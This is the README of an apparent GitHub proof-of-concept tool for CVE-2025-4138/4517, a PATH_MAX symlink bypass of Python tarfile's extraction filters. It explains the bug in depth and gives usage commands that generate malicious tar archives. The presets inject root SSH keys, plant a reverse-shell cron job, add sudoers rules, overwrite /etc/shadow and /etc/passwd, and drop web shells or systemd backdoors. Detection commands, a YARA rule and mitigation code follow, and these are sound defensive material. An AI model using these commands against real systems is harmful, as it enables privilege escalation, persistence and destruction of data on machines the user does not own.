DesertDemons/CVE-2025-4138-4517-POC

GitHub: DesertDemons/CVE-2025-4138-4517-POC

针对 Python tarfile 模块 PATH_MAX 符号链接过滤器绕过漏洞的概念验证工具,可生成恶意 tar 归档实现任意文件写入与权限提升。

Stars: 17 | Forks: 2

CVE-2025-4138 CVE-2025-4517 CVSS 9.4 Python Affected

CVE-2025-4138 / CVE-2025-4517
通过 PATH_MAX 符号链接逃逸绕过 Python tarfile 过滤器

通过 filter="data" / filter="tar" 解压实现任意文件写入

Type CWE-22 Platform Language License Stars Forks Last Commit

## 目录 - [概述](#overview) - [漏洞详情](#vulnerability-details) - [工作原理](#how-it-works) - [受影响版本](#affected-versions) - [受影响的代码模式](#affected-code-pattern) - [安装说明](#installation) - [用法](#usage) - [快速入门 — SSH 密钥注入](#quick-start--ssh-key-injection) - [预设攻击](#preset-attacks) - [自定义目标](#custom-target) - [概念验证 — 安全验证](#proof-of-concept--safe-verification) - [技术深入分析](#technical-deep-dive) - [PATH_MAX 和 os.path.realpath()](#path_max-and-ospathrealpath) - [符号链接链构造](#symlink-chain-construction) - [过滤器绕过机制](#filter-bypass-mechanism) - [漏洞利用阶段](#exploitation-stages) - [真实攻击场景](#real-world-attack-scenarios) - [检测](#detection) - [缓解措施](#mitigation) - [相关 CVE](#related-cves) - [时间线](#timeline) - [参考资料](#references) - [致谢](#credits) - [免责声明](#disclaimer) - [许可证](#license) ## 概述 Python 的 `tarfile` 模块中存在一个严重漏洞,允许攻击者**绕过解压过滤器**(`"data"` 和 `"tar"`)并在预期解压目录之外**写入任意文件**。当特权进程(例如 root 级别的备份脚本、CI/CD 流水线或包安装器)使用声称安全的 `filter="data"` 参数解压攻击者控制的 tar 归档文件时,此漏洞利用可实现**以该特权用户身份进行完全的任意文件写入** —— 通常可提权至 root。 根本原因在于 `os.path.realpath()` 的一个行为特性:当完全展开的路径超过 `PATH_MAX`(Linux 上为 4096 字节,macOS 上为 1024 字节)时,它会**静默停止解析**符号链接。tarfile 过滤器依赖 `realpath()` 进行安全检查,但内核在解压过程中会独立解析符号链接 —— 从而产生一个**TOCTOU(检查时间到使用时间)间隙**,导致目录逃逸。 ## 漏洞详情 | 字段 | 值 | |:--|:--| | **CVE ID** | [CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138), [CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517) | | **CVSS v3.1** | **9.4 (严重)** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` | | **CWE** | [CWE-22](https://cwe.mitre.org/data/definitions/22.html) — 将路径名不当地限制于受限目录 | | **漏洞类型** | 通过符号链接进行路径遍历 / 绕过过滤器 | | **影响** | 任意文件写入 → 权限提升、沙箱逃逸、数据篡改 | | **攻击向量** | 将恶意 tar 归档文件投递给任何使用带有过滤器的 `tarfile.extractall()` 的应用程序 | | **受影响项** | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 | | **修复版本** | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 | | **补丁** | [CPython PR #135037](https://github.com/python/cpython/pull/135037) | | **安全通报** | [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) | | **报告者** | Caleb Brown — Google Security Research | ## 工作原理 ``` ┌───────────────────────────────────────────┐ │ Malicious Tar Structure │ └───────────────────────────────────────────┘ Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX ddd...ddd/ (directory, 247 chars) a → ddd...ddd (symlink, 1 char name → 247 char dir) ddd...ddd/ddd...ddd/ (nested directory) b → ddd...ddd (symlink) ... ×16 levels Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars ↑ nearing PATH_MAX Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../.. (16 levels of ".." — traverses back to extraction root) ┌─────────────────────────────────────────────────────────────────┐ │ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │ │ Linux kernel DOES follow chain → actually escapes ✗ │ └─────────────────────────────────────────────────────────────────┘ Stage 3 ── Escape symlink resolves to arbitrary filesystem path escape → /../../../../../../../root Stage 4 ── Create intermediate directories through the escape escape/.ssh/ (directory, mode 0700 — created by tar extraction) Stage 5 ── Write payload through the escaped symlink escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓 ``` ## 受影响版本 | Python 分支 | 受影响范围 | 修复版本 | 状态 | |:--|:--|:--|:--| | 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ 已修补 | | 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ 已修补 | | 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ 已修补 | | 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ 已修补 | | 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ 已修补 | | 3.8 | 3.8.17 – 3.8.20 | — | ❌ 生命周期已结束 | | 3.14+ | 默认过滤器已更改为 `"data"` | 检查最新版本 | ⚠️ 暴露风险较高 | ## 受影响的代码模式 在受影响的 Python 版本上,任何执行此操作的应用程序都存在被利用的风险: ``` import tarfile # VULNERABLE — filter="data" 可被绕过 with tarfile.open("untrusted_archive.tar", "r") as tar: tar.extractall(path="/some/directory", filter="data") # ALSO VULNERABLE — filter="tar" 存在相同缺陷 with tarfile.open("untrusted_archive.tar", "r") as tar: tar.extractall(path="/some/directory", filter="tar") ``` 现实中常见的出现场景: - 以 root 身份运行的**备份/还原脚本** - 解压构建产物的 **CI/CD 流水线** - 处理 `.tar` 发行版的**包管理器和安装器** - 接受用户上传归档文件的 **Web 应用程序** - 解压部署包的**配置管理工具** ## 安装说明 ``` git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC # 无依赖 — 仅使用 Python 标准库 python3 exploit.py --help ``` **要求:** Python 3.6+(用于创建归档文件 —— **目标**必须运行受影响的版本) ## 用法 ### 快速入门 — SSH 密钥注入 ``` # 1. 生成 SSH 密钥对 (必需 — 必须在创建 tar 之前存在) ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N "" cat ~/.ssh/id_ed25519.pub # verify key was created # 2. 创建恶意 tar 归档文件 python3 exploit.py \ --preset ssh-key \ --payload ~/.ssh/id_ed25519.pub \ --tar-out ./evil.tar # 3. 投递 tar 并触发特权解压 # (方式不一 — 备份脚本、上传端点、CI 流水线等) # 示例:sudo python3 vulnerable_app.py --extract evil.tar # 4. 通过 root 身份进行 SSH 登录 (使用在步骤 1 中生成的 SAME 密钥) ssh -i ~/.ssh/id_ed25519 root@target ``` ### 预设攻击 | 预设 | 目标文件 | 描述 | `--extra` 参数 | |:--|:--|:--|:--| | `ssh-key` | `/root/.ssh/authorized_keys` | 注入 SSH 公钥以进行 root 登录 | — | | `cron` | `/etc/cron.d/pwned` | 投递一个 root 反向 shell cron 任务 | LHOST IP 地址 | | `sudoers` | `/etc/sudoers.d/pwned` | 为用户添加 NOPASSWD sudo 规则 | 用户名 | | `shadow` | `/etc/shadow` | 覆盖 shadow 文件 (⚠️ 破坏性) | — | | `passwd` | `/etc/passwd` | 覆盖 passwd 文件 (⚠️ 破坏性) | — | ``` # 通过 cron 实现反向 shell (每分钟) python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar # 为用户 "john" 配置无密码 sudo python3 exploit.py --preset sudoers --extra john --tar-out evil.tar # 具有自定义文件模式的 SSH 密钥 python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub \ --mode 0600 --tar-out evil.tar ``` ### 自定义目标 将任意内容写入目标文件系统上的任意绝对路径: ``` # 覆盖 MOTD python3 exploit.py \ --target /etc/motd \ --payload "Authorized access only." \ --mode 0644 \ --tar-out evil.tar # 植入 web shell python3 exploit.py \ --target /var/www/html/shell.php \ --payload '' \ --mode 0644 \ --tar-out evil.tar # 覆盖 systemd 服务以实现持久化 python3 exploit.py \ --target /etc/systemd/system/backdoor.service \ --payload backdoor.service \ --mode 0644 \ --tar-out evil.tar ``` ## 概念验证 — 安全验证 在不触碰敏感文件的情况下测试系统是否存在漏洞: ``` # 1. 创建隔离的测试环境 mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile # 2. 生成针对测试文件的 PoC tar python3 exploit.py \ --target /tmp/cve_test/flag/testfile \ --payload "OVERWRITTEN_BY_CVE-2025-4138" \ --tar-out /tmp/cve_test/poc.tar # 3. 使用 filter="data" 提取 (模拟易受攻击的应用程序) python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) " # 4. 检查结果 cat /tmp/cve_test/flag/testfile # 易受攻击: "OVERWRITTEN_BY_CVE-2025-4138" # 已修补: "original_content" (提取引发错误) # 5. 清理 rm -rf /tmp/cve_test ``` ### 快速版本检查 ``` python3 -c " import sys v = sys.version_info vuln = ( (v.minor == 12 and v.micro <= 10) or (v.minor == 13 and v.micro <= 3) or (v.minor == 11 and 4 <= v.micro <= 12) or (v.minor == 10 and 12 <= v.micro <= 17) or (v.minor == 9 and 17 <= v.micro <= 22) ) status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected' print(f'Python {sys.version} — {status}') " ``` ## 技术深入分析 ### PATH_MAX 和 `os.path.realpath()` 在 Linux 上,`PATH_MAX` 被定义为 **4096 字节**。在 macOS 上,它是 **1024 字节**。当 `os.path.realpath()` 逐个组件地解析路径,并且累积的解析路径超过此限制时,它会**静默停止解析剩余组件**并将其作为字面字符串附加。 ``` os.path.realpath() behavior: Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally! Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real! ``` 这是 `realpath()` 的一项**有文档记录的**行为,但 tarfile 过滤器的实现并未考虑到这一点。 ### 符号链接链构造 链的每一层包含: | 条目 | 类型 | 名称长度 | 用途 | |:--|:--|:--|:--| | 目录 | `DIRTYPE` | 247 字符 / 55 字符 | 长名称膨胀解析路径 | | 符号链接 | `SYMTYPE` | 1 字符 (`a`, `b`, …, `p`) | 长目录的短别名 | 16 层之后: | 指标 | 值 | |:--|:--| | **短路径** (通过符号链接) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 字符 | | **解析路径** (通过目录) | `ddd…/ddd…/ddd…/…` ≈ **3968 字符** | | **PATH_MAX** | 4096 字节 | | **剩余预算** | ~128 字节 —— 不足以承载遍历载荷 | ### 过滤器绕过机制 Python 的 tarfile 模块中的 `data_filter` 会执行此检查: ``` # 提取自 Lib/tarfile.py 简化 def _check_linkname(member, dest_path): target = os.path.realpath(os.path.join(dest_path, member.linkname)) if not target.startswith(dest_path): raise FilterError("link would escape destination") ``` 该漏洞: 1. **`realpath()` 接收:** `/extract/a/b/c/.../p/lll.../../../../../root/.ssh` 2. **`realpath()` 解析** 通过符号链接链的 `a/b/c/.../p` 部分 → **3968+ 字节** 3. **超出 PATH_MAX** → 剩余的 `../../../../root/.ssh` 被**按字面值附加** 4. **结果:** `/extract/ddd…(3968 字符)…/../../../../root/.ssh` 5. **过滤器检查:** 以 `/extract/` 开头 → **通过** ✓ 6. **内核解压:** 遵循实际的符号链接 → 正常解析 `../` → **逃逸** 至 `/root` 7. **目录创建:** `escape/.ssh` 被作为目录解压 → 创建 `/root/.ssh/` (模式 0700) 8. **载荷写入:** `escape/.ssh/authorized_keys` → 写入至 `/root/.ssh/authorized_keys` ### 漏洞利用阶段 ``` ┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘ ``` ## 真实攻击场景 ### 1. 特权备份还原 以 root 身份运行的备份脚本解压用户提供的 tar 归档文件: ``` # /usr/local/bin/restore_backup.py (通过 sudo 运行) tar.extractall(path="/var/backups/restored", filter="data") ``` **影响:** 攻击者提供恶意备份 → 将 SSH 密钥写入 `/root/.ssh/authorized_keys` → 获得 root shell。 ### 2. CI/CD 流水线产物解压 构建系统解压来自不受信任源的产物: ``` # Jenkins/GitLab runner 提取构建产物 tar.extractall(path=workspace_dir, filter="data") ``` **影响:** 恶意产物逃逸工作区 → 覆盖 CI 配置 → 在构建基础设施上实现代码执行。 ### 3. Web 应用程序上传处理 Web 应用程序接受并解压 tar 上传文件: ``` # Flask/Django 文件处理端点 tar.extractall(path=upload_dir, filter="data") ``` **影响:** 远程攻击者上传精心构造的 tar → 将 web shell 写入文档根目录 → 实现 RCE。 ### 4. 包安装 Python 包管理器解压源代码发行版: ``` # pip/setuptools 提取 sdist tar.extractall(path=build_dir, filter="data") ``` **影响:** 恶意 PyPI 包逃逸构建目录 → 修改系统文件。 ## 检测 ### 入侵指标 监控可能表明漏洞被利用的以下模式: ``` # 检查提取目录中是否存在深度嵌套的 symlink 链 find /path/to/extractions -maxdepth 20 -type l | \ xargs -I{} readlink {} | grep -c "^d\{200,\}" # 在应用程序日志中审计 tar 提取操作 grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/ # 监控敏感目录中意外的文件写入 auditctl -w /root/.ssh/ -p wa -k tarfile_escape auditctl -w /etc/cron.d/ -p wa -k tarfile_escape auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape ``` ### YARA 规则 ``` rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}\// ascii $chain = /[a-p]\/[a-p]\/[a-p]\/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) } ``` ## 缓解措施 ### 1. 升级 Python(推荐) ``` # 检查当前版本 python3 -c "import sys; print(sys.version)" # 升级到已修补的版本: # 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+ ``` ### 2. 解压前验证(临时解决方法) 如果无法立即升级: ``` import pathlib import tarfile def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data") ``` ### 3. 沙箱化解压 ``` # 在最小化的 container 或 namespace 中提取 unshare --mount --map-root-user -- sh -c ' mount -t tmpfs tmpfs /mnt python3 -c " import tarfile tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\") " ' ``` ### 4. 替代解压工具 ``` # 使用 GNU tar 代替 Python tarfile tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/ ``` ## 相关 CVE | CVE | 描述 | 严重程度 | |:--|:--|:--| | **CVE-2025-4138** | 通过 PATH_MAX 溢出实现符号链接目标过滤器绕过 | 严重 | | **CVE-2025-4517** | 通过 realpath 溢出实现任意文件写入(根本原因相同) | 严重 | | **CVE-2025-4330** | 绕过解压过滤器的符号链接路径遍历 | 高 | | **CVE-2024-12718** | 解压目录外的文件元数据修改 | 高 | | **CVE-2025-4435** | 当 `errorlevel=0` 时,被过滤的文件仍被解压 | 中 | | **CVE-2007-4559** | 原始 tarfile 路径遍历(无过滤器时代) | 高 | 所有问题均在 [CPython Issue #135034](https://github.com/python/cpython/issues/135034) 和 [PR #135037](https://github.com/python/cpython/pull/135037) 中得到了解决。 ## 时间线 | 日期 | 事件 | |:--|:--| | 2025-04-30 | 向 Python Security Response Team 报告漏洞 | | 2025-06-02 | 公开问题提出 — [CPython #135034]() | | 2025-06-03 | 修复合并 — [CPython PR #135037](https://github.com/python/cpython/pull/135037) | | 2025-06-03 | [PSF 安全公告](https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) 发布 | | 2025-06-03 | 已修补版本发布:Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 | | 2025-06-04 | CERT-FR 咨询公告 [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) | | 2025-06-20 | Google Security Research 咨询公告 [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) | | 2025-07-20 | 完全公开 | ## 参考资料 - [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Google Security Research 咨询公告及原始 PoC - [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — 上游 Bug 报告 - [CPython PR #135037](https://github.com/python/cpython/pull/135037) — 修复提交 - [PSF 安全公告](https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — 官方咨询 - [Seth Larson 的缓解措施 Gist](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — 快速缓解脚本 - [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138) - [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517) - [Python `tarfile` 解压过滤器文档](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter) - [Linux `realpath(3)` 手册页](https://man7.org/linux/man-pages/man3/realpath.3.html) — PATH_MAX 行为 ## 致谢 - **漏洞发现者:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research - **补丁作者:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka - **本 PoC:** [DesertDemon](https://github.com/DesertDemons) ## 免责声明 **标签:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos` ## 许可证 本项目基于 [MIT 许可证](LICENSE) 授权。

🔐 如果您觉得这个项目有用,请考虑给仓库加星
📫 如有负责任的披露询问,请提出 Issue 或通过 GitHub 联系

标签:CVE-2025-4138, CVE-2025-4517, CVSS 9.4, CWE-22, DNS 解析, PATH_MAX, PoC, Privilege Escalation, Python 3.12, Python 3.13, Symlink Escape, tarfile模块, tar解压漏洞, 任意文件写入, 协议分析, 子域名变形, 暴力破解, 权限提升, 目录穿越, 符号链接绕过, 路径遍历, 过滤器绕过, 逆向工具, 高危漏洞